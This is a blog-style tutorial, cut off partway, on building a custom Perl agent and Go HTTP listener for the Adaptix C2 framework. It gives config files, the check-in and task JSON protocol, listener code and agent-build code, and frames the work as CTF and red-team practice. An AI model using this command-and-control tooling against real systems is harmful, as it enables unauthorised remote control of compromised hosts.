Lessons from Perlyite(Building a custom Adaptix agent)
Process of developing a custom agent for the Adaptix C2. Creating a listener, getting a callback, and basic command execution.
A while ago I stumbled across a blog post detailing the creation of the PaperShell agent and was immediately inspired to build my own custom C2 agent.
https://teletype.in/@magnummalum/adaptixc2-create-agent
https://github.com/ArturLukianov/PaperShell
https://github.com/Adaptix-Framework/AdaptixC2
And so Perlyite was born, a Linux agent written in Perl. I chose Perl for its ubiquity on Linux systems, it’s installed by default on every major and most minor distributions. During the initial planning phase I outlined several core requirements.
First, since I regularly participate in CTFs, a socks proxy (which allows tunneling traffic through the compromised host) is essential. Similarly, lportfwd and rportfwd (local and remote port forwarding capabilities for network pivoting) are also necessary. I had also previously experimented with loading binaries into memory using memfd (a Linux feature for creating in-memory file descriptors) and Python, so incorporating that feature was high on the list.
While I did succeed in meeting these goals, I was ultimately unsatisfied with the result and have decided to start fresh.
Project Goals
This brings us to Lamperl. The main objective here is to create a custom Adaptix agent in Perl while thoroughly documenting the entire development process. This time around, I want to take advantage of as many features Adaptix supports as is practical:
- Socks proxy
- Rportfwd
- Lportfwd
- Upload
- Download
- Job/Task handling
- Process viewer
- Filesystem viewer
And maybe:
- Remote terminal
For this first blog post, we’re going to construct the listener infrastructure and build a basic functional agent.
Setting Up the Project Structure
Begin by cloning the Adaptix template repository and following the setup instructions in the readme:
Adaptix-Framework/templates-extender
This project is named Lamperl (a portmanteau of “Lamprey” and “Perl”), so all my naming conventions reflect that. Below are the configuration files for both the listener and agent components:
Listener config.json:
1
2
3
4
5
6
7
8
9
{
"extender_type": "listener",
"extender_file": "lamperl_http.so",
"ax_file": "ax_config.axs",
"listener_name": "LamperlHTTP",
"listener_type": "external",
"protocol": "http"
}
Agent config.json:
1
2
3
4
5
6
7
8
9
{
"extender_type": "agent",
"extender_file": "lamperl_agent.so",
"ax_file": "ax_config.axs",
"agent_name": "Lamperl",
"agent_watermark": "6c616d70",
"listeners": [ "LamperlHTTP"]
}
Important notes: The listener name must match exactly between both configuration files, and the agent watermark characters must be lowercase hexadecimal. The watermark serves as a unique identifier for this agent type within the C2 infrastructure, allowing the teamserver to distinguish between different agent families.
Since we’re building an HTTP listener, we’ll need to create a pl_http.go file to handle the protocol implementation. The final project structure should look like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Lamperl/
├── lamperl_agent/
│ ├── config.json
│ ├── ax_config.axs
│ ├── pl_main.go
│ ├── pl_agent.go
│ ├── go.mod
│ ├── Makefile
│ └── src_lamperl/
│ └── lamperl.pl
└── lamperl_listener_http/
├── config.json
├── ax_config.axs
├── pl_main.go
├── pl_listener.go
├── pl_http.go
├── go.mod
└── Makefile
Dependency Management
For the listener to be loaded correctly by the Adaptix server, you need to specify the correct library versions. Copy the contents of go.mod from any original Adaptix listener (such as beacon_listener_http) and insert it into your project. In my case, the dependencies were:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
go 1.24.4
require (
github.com/Adaptix-Framework/axc2 v0.9.0
github.com/gin-gonic/gin v1.11.0
)
require (
github.com/bytedance/gopkg v0.1.3 // indirect
github.com/bytedance/sonic v1.14.1 // indirect
github.com/bytedance/sonic/loader v0.3.0 // indirect
github.com/cloudwego/base64x v0.1.6 // indirect
github.com/gabriel-vasile/mimetype v1.4.10 // indirect
github.com/gin-contrib/sse v1.1.0 // indirect
github.com/go-playground/locales v0.14.1 // indirect
github.com/go-playground/universal-translator v0.18.1 // indirect
github.com/go-playground/validator/v10 v10.27.0 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.18.0 // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/klauspost/cpuid/v2 v2.3.0 // indirect
github.com/leodido/go-urn v1.4.0 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
github.com/quic-go/qpack v0.5.1 // indirect
github.com/quic-go/quic-go v0.54.1 // indirect
github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
github.com/ugorji/go/codec v1.3.0 // indirect
go.uber.org/mock v0.6.0 // indirect
golang.org/x/arch v0.21.0 // indirect
golang.org/x/crypto v0.42.0 // indirect
golang.org/x/mod v0.28.0 // indirect
golang.org/x/net v0.44.0 // indirect
golang.org/x/sync v0.17.0 // indirect
golang.org/x/sys v0.36.0 // indirect
golang.org/x/text v0.29.0 // indirect
golang.org/x/tools v0.37.0 // indirect
google.golang.org/protobuf v1.36.10 // indirect
)
After adding the go.mod file, load the modules:
1
go mod tidy
Next, we need to tell Adaptix to load our extension.
Edit AdaptixC2/profile.json and add:
1
2
3
4
"extenders": [
"extenders/lamperl_listener_http/config.json",
"extenders/lamperl_agent/config.json"
]
Once the extension is compiled copy the lamperl_listener_http/dist folder to AdaptixC2/extenders/lamperl_listener_http.
Likewise for the lamperl_agent/dist folder, copy it to AdaptixC2/extenders/lamperl_agent
Designing the Communication Protocol
With the base structure in place, it’s time to design how the agent will communicate with the listener. I’ve chosen JSON for the communication protocol since it’s human-readable and easy to debug. Below are examples of the message formats we’ll be using:
Initial Contact:
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"beat": "6c616d70432620e651",
"init": {
"domain": "",
"hostname": "Strike",
"internal_ip": "192.168.50.138",
"jitter": 10,
"pid": 118585,
"process": "generated.pl",
"sleep": 5,
"username": "trigger"
}
}
The beat field is a concatenation of the 8-character agent watermark and a 10-character randomly generated agent ID, creating an 18-character unique identifier for this agent instance.
Heartbeat:
1
2
3
{
"beat":"6c616d70a263098250"
}
Task:
1
2
3
4
5
6
7
8
{
"tasks":[
{
"command":"pwd",
"task_id":"03dd5c23"
}
]
}
Response:
1
2
3
4
5
6
7
8
9
{
"results": [
{
"output": "{\"path\":\"/home/trigger/Lamperl/lamperl_agent/src_lamperl\",\"command\":\"pwd\"}",
"task_id": "917128a0"
}
],
"beat": "6c616d70a263098250"
}
Building the Listener
pl_listener.go
Let’s start with the HandlerListenerValid function in pl_listener.go. This function acts as a gatekeeper for listener creation. It validates the JSON configuration submitted through the UI, checks required fields and basic semantics, and returns clear errors when submissions are invalid.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// HandlerListenerValid validates listener configuration before creation.
// Called by Adaptix when user submits the listener creation form.
// Checks that all required fields are present and valid.
// Returns error if validation fails, nil if configuration is valid.
func (m *ModuleExtender) HandlerListenerValid(data string) error {
/// START CODE HERE
var conf HTTPConfig
err := json.Unmarshal([]byte(data), &conf)
if err != nil {
return err
}
if conf.HostBind == "" {
return errors.New("host_bind is required")
}
if conf.PortBind < 1 || conf.PortBind > 65535 {
return errors.New("port_bind must be in range 1-65535")
}
if conf.CallbackAddress == "" {
return errors.New("callback_address is required")
}
if conf.ApiPath == "" {
return errors.New("api_path is required")
}
/// END CODE
return nil
}
This validation step prevents malformed or incomplete configurations from reaching runtime, catching issues early in the deployment process.
listener ax_config.axs
With validation in place, we can now build the ax_config.axs file, which defines the UI form that operators will use to configure new listeners:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
function ListenerUI(mode_create)
{
// Host selector
let labelHost = form.create_label("Host & port (Bind):");
let comboHostBind = form.create_combo();
comboHostBind.setEnabled(mode_create)
comboHostBind.clear();
let addrs = ax.interfaces();
for (let item of addrs) { comboHostBind.addItem(item); }
// Port selector
let spinPortBind = form.create_spin();
spinPortBind.setRange(1, 65535);
spinPortBind.setValue(8080);
spinPortBind.setEnabled(mode_create)
// Callback selector
let labelCallback = form.create_label("Callback address:");
let textCallback = form.create_textline();
textCallback.setPlaceholder("192.168.1.1:8080");
// API path selector
let labelApiPath = form.create_label("API path:");
let textApiPath = form.create_textline();
textApiPath.setPlaceholder("/api/v2/query");
// Build container
let container = form.create_container();
container.put("host_bind", comboHostBind);
container.put("port_bind", spinPortBind);
container.put("callback_address", textCallback);
container.put("api_path", textApiPath);
// Add layout and spacers
let layout = form.create_gridlayout();
let spacer1 = form.create_vspacer();
let spacer2 = form.create_vspacer();
// Add widgets to the layout
layout.addWidget(spacer1, 0, 0, 1, 2);
layout.addWidget(labelHost, 1, 0, 1, 2);
layout.addWidget(comboHostBind, 2, 0, 1, 1);
layout.addWidget(spinPortBind, 2, 1, 1, 1);
layout.addWidget(labelCallback, 3, 0, 1, 2);
layout.addWidget(textCallback, 4, 0, 1, 2);
layout.addWidget(labelApiPath, 5, 0, 1, 2);
layout.addWidget(textApiPath, 6, 0, 1, 2);
layout.addWidget(spacer2, 7, 0, 1, 2);
let panel = form.create_panel();
panel.setLayout(layout);
return {
ui_panel: panel,
ui_container: container
}
}
This creates a form that collects four essential values from the operator: host_bind, port_bind, callback_address, and api_path. The resulting UI looks like this:
Back to pl_listener.go
Now we implement HandlerCreateListenerDataAndStart, which initializes, starts, and registers a new HTTP listener instance from the UI-provided JSON configuration. This function returns both the metadata for Adaptix to display and the persistent configuration for future restarts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// HandlerCreateListenerDataAndStart creates and starts a new listener instance.
// This is the main initialization function called when a listener is created.
// Parameters:
// - name: Unique identifier for this listener instance
// - configData: JSON-encoded configuration from the UI
// - listenerCustomData: Optional custom data from previous session (unused)
//
// Returns:
// - ListenerData: Metadata for Adaptix UI (bind address, port, status)
// - customData: Serialized config to persist across restarts
// - listenerObject: The actual HTTP server instance
// - error: If initialization or startup fails
func (m *ModuleExtender) HandlerCreateListenerDataAndStart(name string, configData string, listenerCustomData []byte) (adaptix.ListenerData, []byte, any, error) {
var (
listenerData adaptix.ListenerData
customdData []byte
)
/// START CODE HERE
var (
listener *HTTP
conf HTTPConfig
err error
)
err = json.Unmarshal([]byte(configData), &conf)
if err != nil {
return listenerData, customdData, nil, err
}
listener = &HTTP{
Config: conf,
Name: name,
Active: false,
}
err = listener.Start(ModuleObject.ts)
if err != nil {
return listenerData, customdData, nil, err
}
listenerData = adaptix.ListenerData{
BindHost: conf.HostBind,
BindPort: fmt.Sprintf("%d", conf.PortBind),
AgentAddr: conf.CallbackAddress,
Status: "Listen",
}
// Save config to customData
var buffer bytes.Buffer
err = json.NewEncoder(&buffer).Encode(conf)
if err != nil {
return listenerData, customdData, nil, err
}
customdData = buffer.Bytes()
/// END CODE
return listenerData, customdData, listener, nil
}
The execution flow is straightforward:
- Unmarshal
configDatainto anHTTPConfigstruct - Construct an HTTP listener object with the provided name and configuration
- Call
listener.Start(ModuleObject.ts)to bind and start the server - Build
adaptix.ListenerDatawith bind address, port, agent callback address, and status - Encode the configuration back to bytes (
customData) for persistence across restarts - Return all components along with any encountered errors
Next, we implement HandlerListenerStop to gracefully tear down running listeners:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// HandlerListenerStop gracefully shuts down a running listener.
// Called when user stops a listener from the Adaptix UI.
// Parameters:
// - name: Listener identifier (unused in this implementation)
// - listenerObject: The HTTP server instance to stop
//
// Returns: true if stopped successfully, false and error otherwise
func (m *ModuleExtender) HandlerListenerStop(name string, listenerObject any) (bool, error) {
var (
err error = nil
ok bool = false
)
/// START CODE HERE
listener, valid := listenerObject.(*HTTP)
if !valid {
return false, errors.New("invalid listener object")
}
err = listener.Stop()
if err != nil {
return false, err
}
ok = true
/// END CODE
return ok, err
}
This implementation mirrors the beacon agent’s approach exactly and works perfectly for our use case.
The HandlerListenerGetProfile function returns the listener’s current configuration in JSON format to the Adaptix UI, used when displaying listener details or populating agent generation options:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// HandlerListenerGetProfile returns the listener's current configuration.
// Called when displaying listener details or populating agent generation dropdowns.
// Parameters:
// - name: Listener identifier to retrieve config for
// - listenerObject: The HTTP server instance
//
// Returns: JSON-encoded configuration and true if successful
func (m *ModuleExtender) HandlerListenerGetProfile(name string, listenerObject any) ([]byte, bool) {
var (
object bytes.Buffer
ok bool = false
)
/// START CODE HERE
listener, valid := listenerObject.(*HTTP)
if !valid || listener.Name != name {
return object.Bytes(), false
}
_ = json.NewEncoder(&object).Encode(listener.Config)
ok = true
/// END CODE
return object.Bytes(), ok
}
Again, this is a copy of the beacon agent’s implementation.
We’re skipping over HandlerEditListenerData for now, our current agent won’t be complex enough to benefit from runtime configuration changes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// HandlerEditListenerData updates an existing listener's configuration.
// Currently unimplemented - listener must be stopped and recreated to change config.
func (m *ModuleExtender) HandlerEditListenerData(name string, listenerObject any, configData string) (adaptix.ListenerData, []byte, bool) {
var (
listenerData adaptix.ListenerData
customdData []byte
ok bool = false
)
/// START CODE HERE
/// END CODE
return listenerData, customdData, ok
}
Building the HTTP Protocol Handler
pl_http.go
With pl_listener.go complete, we move on to pl_http.go, where we implement the actual HTTP protocol handling. First, we define the data structures:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// HTTPConfig holds configuration for the HTTP listener.
// These values come from the UI form defined in ax_config.axs.
type HTTPConfig struct {
HostBind string `json:"host_bind"`
PortBind int `json:"port_bind"`
CallbackAddress string `json:"callback_address"`
ApiPath string `json:"api_path"`
}
// HTTP represents an HTTP listener instance.
// Manages the Gin web server and handles agent communication.
type HTTP struct {
GinEngine *gin.Engine
Server *http.Server
Config HTTPConfig
Name string
Active bool
}
// AgentRequest represents the JSON structure sent by agents.
// Beat: 18-char string (8-char watermark + 10-char agent ID)
// Init: System information sent only on first check-in
// Results: Array of task execution results from previous beacon
type AgentRequest struct {
Beat string `json:"beat"`
Init map[string]interface{} `json:"init,omitempty"`
Results []map[string]interface{} `json:"results,omitempty"`
}
The HTTPConfig struct holds the same values we defined in the validation function and UI form. The HTTP struct represents a running listener instance, and AgentRequest defines the structure of incoming agent messages.
The Start function initializes the Gin router, registers API endpoints, creates the HTTP server, and launches it in a non-blocking goroutine:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// Start initializes and launches the HTTP server.
// Creates a Gin router, registers the API endpoint, and starts listening.
// The server runs in a goroutine to avoid blocking.
func (handler *HTTP) Start(ts Teamserver) error {
gin.SetMode(gin.ReleaseMode)
router := gin.New()
// Register the API endpoint
router.POST(handler.Config.ApiPath, func(c *gin.Context) {
handler.processRequest(c, ts)
})
handler.Active = true
handler.Server = &http.Server{
Addr: fmt.Sprintf("%s:%d", handler.Config.HostBind, handler.Config.PortBind),
Handler: router,
}
fmt.Printf("[Lamperl_Listener] Started listener: http://%s:%d%s\n",
handler.Config.HostBind, handler.Config.PortBind, handler.Config.ApiPath)
go func() {
err := handler.Server.ListenAndServe()
if err != nil && !errors.Is(err, http.ErrServerClosed) {
fmt.Printf("Error starting HTTP server: %v\n", err)
return
}
}()
time.Sleep(500 * time.Millisecond)
return nil
}
The corresponding Stop function performs a graceful shutdown:
1
2
3
4
5
6
7
// Stop gracefully shuts down the HTTP server.
// Waits up to 3 seconds for existing connections to complete.
func (handler *HTTP) Stop() error {
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
defer cancel()
return handler.Server.Shutdown(ctx)
}
The heart of the listener is the processRequest function, which handles all incoming agent beacons, initial check-ins, and result exchanges:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// processRequest handles incoming agent beacons.
// This is the core request handler that:
// 1. Parses the JSON request to extract beat, init data, and results
// 2. Creates new agents on first check-in
// 3. Processes task results from the agent
// 4. Returns pending tasks for the agent to execute
func (handler *HTTP) processRequest(ctx *gin.Context, ts Teamserver) {
var (
externalIP string
agentType string
agentId string
beat []byte
bodyData []byte
responseData []byte
err error
)
fmt.Printf("[LISTENER] Received request from %s to %s\n", ctx.Request.RemoteAddr, ctx.Request.URL.Path)
fmt.Printf("[LISTENER] Method: %s, Content-Type: %s\n", ctx.Request.Method, ctx.Request.Header.Get("Content-Type"))
// Get agent's IP
externalIP = strings.Split(ctx.Request.RemoteAddr, ":")[0]
// Parse the request
agentType, agentId, beat, bodyData, err = handler.parseRequest(ctx)
if err != nil {
fmt.Printf("[LISTENER ERROR] Failed to parse request: %v\n", err)
ctx.Writer.WriteHeader(http.StatusNotFound)
return
}
fmt.Printf("[LISTENER] Parsed - AgentType: %s, AgentID: %s, Beat len: %d, Body len: %d\n",
agentType, agentId, len(beat), len(bodyData))
// Create agent if doesn't exist
if !ModuleObject.ts.TsAgentIsExists(agentId) {
fmt.Printf("[LISTENER] Creating new agent: %s\n", agentId)
_, err = ModuleObject.ts.TsAgentCreate(agentType, agentId, beat, handler.Name, externalIP, true)
if err != nil {
fmt.Printf("[LISTENER ERROR] Failed to create agent: %v\n", err)
ctx.Writer.WriteHeader(http.StatusNotFound)
return
}
fmt.Printf("[LISTENER] Agent created successfully\n")
} else {
fmt.Printf("[LISTENER] Agent %s already exists\n", agentId)
}
// Update agent's last check-in time
_ = ModuleObject.ts.TsAgentSetTick(agentId)
// Process agent data (task results)
fmt.Printf("[LISTENER] Processing agent data...\n")
_ = ModuleObject.ts.TsAgentProcessData(agentId, bodyData)
// Get tasks for agent
fmt.Printf("[LISTENER] Getting tasks for agent...\n")
responseData, err = ModuleObject.ts.TsAgentGetHostedAll(agentId, 0x1900000) // 25 MB
if err != nil {
fmt.Printf("[LISTENER ERROR] Failed to get tasks: %v\n", err)
ctx.Writer.WriteHeader(http.StatusNotFound)
return
}
fmt.Printf("[LISTENER] Sending response: %d bytes\n", len(responseData))
// Send response
ctx.Writer.Header().Set("Content-Type", "application/json")
_, err = ctx.Writer.Write(responseData)
if err != nil {
fmt.Printf("[LISTENER ERROR] Failed to write response: %v\n", err)
ctx.Writer.WriteHeader(http.StatusNotFound)
return
}
ctx.AbortWithStatus(http.StatusOK)
fmt.Printf("[LISTENER] Request completed successfully\n")
}
This function orchestrates the entire request/response cycle:
- Logs request metadata and extracts the client IP
- Calls
parseRequestto validate and extract the watermark, agent ID, beat/init data, and body - Creates a new agent on first check-in (if not already present) and updates its last-seen timestamp
- Processes inbound agent data (task results)
- Queries the teamserver for pending tasks
- Writes the JSON response back to the agent
Finally, we implement parseRequest to handle the parsing and normalization of incoming agent POST payloads:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// parseRequest extracts and validates data from an agent's HTTP request.
// Parses the JSON body and separates the beat into watermark and agent ID.
// Returns:
// - watermark: 8-character hex identifier for agent type
// - agentId: 10-character hex unique agent instance ID
// - beat: Initial check-in data (JSON) or empty for regular beacons
// - bodyData: Task results (JSON) or empty array
// - error: If parsing fails or format is invalid
func (handler *HTTP) parseRequest(ctx *gin.Context) (string, string, []byte, []byte, error) {
// Read POST body
bodyData, err := io.ReadAll(ctx.Request.Body)
if err != nil {
return "", "", nil, nil, fmt.Errorf("failed to read request body: %v", err)
}
fmt.Printf("[PARSE] Raw body (%d bytes): %s\n", len(bodyData), string(bodyData))
// Parse JSON
var req AgentRequest
err = json.Unmarshal(bodyData, &req)
if err != nil {
return "", "", nil, nil, fmt.Errorf("failed to parse JSON: %v", err)
}
fmt.Printf("[PARSE] Beat from JSON: %s (len=%d)\n", req.Beat, len(req.Beat))
// Parse beat: watermark (8 hex chars) + agent_id (10 hex chars) = 18 chars total
if len(req.Beat) != 18 {
return "", "", nil, nil, fmt.Errorf("invalid beat format: expected 18 chars, got %d", len(req.Beat))
}
watermark := req.Beat[:8]
agentIdHex := req.Beat[8:]
// The "beat" parameter is what gets passed to CreateAgent - it should be the init data for first checkin
var beat []byte
var agentData []byte
if req.Init != nil {
// Initial check-in - encode init data as JSON for both beat and agentData
beat, err = json.Marshal(req.Init)
if err != nil {
return "", "", nil, nil, errors.New("failed to encode init data")
}
agentData = beat // Same data for initial checkin
} else if req.Results != nil {
// Regular beacon - encode results as JSON
beat = []byte{} // Empty beat for regular checkins
agentData, err = json.Marshal(req.Results)
if err != nil {
return "", "", nil, nil, errors.New("failed to encode results")
}
} else {
// Empty beacon
beat = []byte{}
agentData = []byte("[]")
}
return watermark, agentIdHex, beat, agentData, nil
}
The parsing flow handles three distinct cases:
- Read the entire POST body
- Unmarshal into
AgentRequest - Validate beat length (18 characters: 8-char watermark + 10-char agent ID)
- If
Initis present: marshal it to bothbeatandagentData(initial check-in) - If
Resultsis present: marshal toagentDatawith emptybeat(regular check-in) - If neither is present: return empty
beatand[]asagentData(empty beacon)
The listener is complete for now, we can make it by running make in the lamperl_listener_http directory. The next step is to build out the agent module.
Building the Agent Module
pl_agent.go
With the listener infrastructure complete, we can now focus on the agent module. First, let’s define some helper functions for extracting values from maps:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// getString is a helper function to safely extract string values from a map.
// Returns empty string if key doesn't exist or value is not a string.
func getString(m map[string]interface{}, key string) string {
if val, ok := m[key].(string); ok {
return val
}
return ""
}
// getInt is a helper function to safely extract integer values from a map.
// Handles both float64 (JSON default for numbers) and int types.
// Returns 0 if key doesn't exist or value cannot be converted.
func getInt(m map[string]interface{}, key string) int {
if val, ok := m[key].(float64); ok {
return int(val)
}
if val, ok := m[key].(int); ok {
return val
}
return 0
}
Next, we implement AgentGenerateProfile, which extracts listener configuration needed during agent generation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// GenerateConfig holds configuration data for agent generation.
// Currently empty as agent_id is generated at runtime by the agent itself,
// not during the build process. This ensures each agent instance has a unique ID.
type GenerateConfig struct {
}
// AgentGenerateProfile extracts listener configuration needed for agent generation.
// This function is called during agent build to gather connection parameters.
// Parameters:
// - agentConfig: JSON string with agent-specific configuration (currently unused)
// - listenerWM: Listener watermark (currently unused)
// - listenerMap: Map containing listener configuration (callback_address, api_path, etc.)
//
// Returns: JSON-encoded profile data containing callback_addr and api_path
func AgentGenerateProfile(agentConfig string, listenerWM string, listenerMap map[string]any) ([]byte, error) {
var (
generateConfig GenerateConfig
err error
)
err = json.Unmarshal([]byte(agentConfig), &generateConfig)
if err != nil {
return nil, err
}
/// START CODE HERE
// Extract callback address and API path from listener
callbackAddr, ok := listenerMap["callback_address"].(string)
if !ok {
return nil, errors.New("callback_address not found in listener map")
}
apiPath, ok := listenerMap["api_path"].(string)
if !ok {
return nil, errors.New("api_path not found in listener map")
}
// Agent generates its own ID at runtime - no need to include in profile
profileData := map[string]string{
"callback_addr": callbackAddr,
"api_path": apiPath,
}
profileBytes, err := json.Marshal(profileData)
if err != nil {
return nil, err
}
/// END CODE HERE
return profileBytes, nil
}
This function unmarshals the agent config, extracts callback_address and api_path from the listener map, and packages them into a JSON profile for use during agent building.
The AgentGenerateBuild function creates a deployable agent by replacing placeholders in the Perl template with actual configuration values:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// AgentGenerateBuild creates a deployable agent by replacing placeholders in the template.
// This function reads the Perl agent template and injects configuration values.
// Parameters:
// - agentConfig: JSON string with agent-specific configuration
// - agentProfile: JSON-encoded profile data from AgentGenerateProfile
// - listenerMap: Map containing listener configuration
//
// Returns:
// - Agent file content (Perl script with placeholders replaced)
// - Filename for the generated agent
// - Error if any step fails
func AgentGenerateBuild(agentConfig string, agentProfile []byte, listenerMap map[string]any) ([]byte, string, error) {
var (
Filename string
buildContent []byte
)
/// START CODE HERE
// Parse profile
var profile map[string]string
err := json.Unmarshal(agentProfile, &profile)
if err != nil {
return nil, "", err
}
callbackAddr := profile["callback_addr"]
apiPath := profile["api_path"]
// Parse callback address
host, port, err := net.SplitHostPort(strings.TrimPrefix(strings.TrimPrefix(callbackAddr, "http://"), "https://"))
if err != nil {
return nil, "", fmt.Errorf("invalid callback address: %v", err)
}
// Read agent template
currentDir := ModuleDir
Filename = "lamperl.pl"
agentContentBytes, err := os.ReadFile(currentDir + "/src_lamperl/lamperl.pl")
if err != nil {
return nil, "", err
}
agentContent := string(agentContentBytes)
// Replace placeholders (agent generates its own ID at runtime)
agentContent = strings.ReplaceAll(agentContent, "<CALLBACK_HOST>", host)
agentContent = strings.ReplaceAll(agentContent, "<CALLBACK_PORT>", port)
agentContent = strings.ReplaceAll(agentContent, "<CALLBACK_PATH>", apiPath)
agentContent = strings.ReplaceAll(agentContent, "<WATERMARK>", AgentWatermark)
buildContent = []byte(agentContent)
/// END CODE HERE
return buildContent, Filename, nil
}
This is the function that actually builds the agent when we select “Generate” from the context menu. It:
- Parses
agentProfileto extractcallback_addrandapi_path - Splits the callback address into host and port components
- Reads the Perl template from
src_lamperl/lamperl.pl - Replaces placeholders:
<CALLBACK_HOST>,<CALLBACK_PORT>,<CALLBACK_PATH>,<WATERMARK> - Returns the modified script as bytes along with the filename
With the generation functions in place, we can implement CreateAgent, which parses initial beacon data and registers a new agent in the C2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// CreateAgent parses initial beacon data and populates agent metadata.
// Called when an agent checks in for the first time to register it in the C2.
// Parameters:
// - initialData: JSON-encoded system information from the agent's first beacon
//
// Returns: Populated AgentData struct with system info, sleep/jitter settings, etc.
func CreateAgent(initialData []byte) (adaptix.AgentData, error) {
var agentData adaptix.AgentData
/// START CODE HERE
var initData map[string]interface{}
err := json.Unmarshal(initialData, &initData)
if err != nil {
return agentData, err
}
// Extract agent information
agentData.Computer = getString(initData, "hostname")
agentData.Username = getString(initData, "username")
agentData.Domain = getString(initData, "domain")
agentData.InternalIP = getString(initData, "internal_ip")
agentData.Process = getString(initData, "process")
agentData.Pid = fmt.Sprintf("%d", getInt(initData, "pid"))
agentData.Sleep = uint(getInt(initData, "sleep"))
agentData.Jitter = uint(getInt(initData, "jitter"))
agentData.Os = OS_LINUX
// No encryption for now
agentData.SessionKey = []byte("NULL")
/// END CODE
return agentData, nil
}
This function follows a simple flow: unmarshal the JSON into a map, extract system information (hostname, username, domain, internal IP, process name, PID), extract operational parameters (sleep and jitter), set the OS type to Linux, and initialize the session key to “NULL” (we’ll implement encryption in a future iteration).
Task Handling
Now we need to handle the bidirectional task flow. The PackTasks function converts internal Adaptix task structures into the JSON format our Perl agent expects:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/// TASKS
// PackTasks converts Adaptix TaskData array into agent-consumable JSON format.
// Called when the agent checks in to send pending tasks for execution.
// Parameters:
// - agentData: Agent metadata (unused but required by interface)
// - tasksArray: Array of tasks to send to the agent
//
// Returns: JSON-encoded response with tasks array, each containing task_id and command data
func PackTasks(agentData adaptix.AgentData, tasksArray []adaptix.TaskData) ([]byte, error) {
var packData []byte
/// START CODE HERE
var tasks []map[string]interface{}
for _, task := range tasksArray {
var taskMap map[string]interface{}
err := json.Unmarshal(task.Data, &taskMap)
if err != nil {
continue
}
taskMap["task_id"] = task.TaskId
tasks = append(tasks, taskMap)
}
response := map[string]interface{}{
"tasks": tasks,
}
packData, err := json.Marshal(response)
if err != nil {
return nil, err
}
/// END CODE
return packData, nil
}
The function iterates through each task, unmarshals its data into a map, adds the task ID, and wraps everything in a response object before marshaling to JSON.
The CreateTask function handles the operator-to-agent direction, converting console commands into task structures. For this initial version, we’re implementing three commands: pwd, cd, and run:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// CreateTask converts user input from the UI into a task for the agent.
// Called when an operator executes a command in the Adaptix console.
// Parameters:
// - ts: Teamserver interface for C2 operations
// - agent: Agent metadata
// - args: Map containing command name and parameters from UI
//
// Returns:
// - TaskData: Serialized task to send to agent
// - ConsoleMessageData: Message to display in operator's console
// - Error if command is invalid or parameters are missing
func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
var (
taskData adaptix.TaskData
messageData adaptix.ConsoleMessageData
err error
)
//command, ok := args["command"].(string)
//if !ok {
// return taskData, messageData, errors.New("'command' must be set")
//}
//subcommand, _ := args["subcommand"].(string)
taskData = adaptix.TaskData{
Type: TYPE_TASK,
Sync: true,
}
messageData = adaptix.ConsoleMessageData{
Status: MESSAGE_INFO,
Text: "",
}
messageData.Message, _ = args["message"].(string)
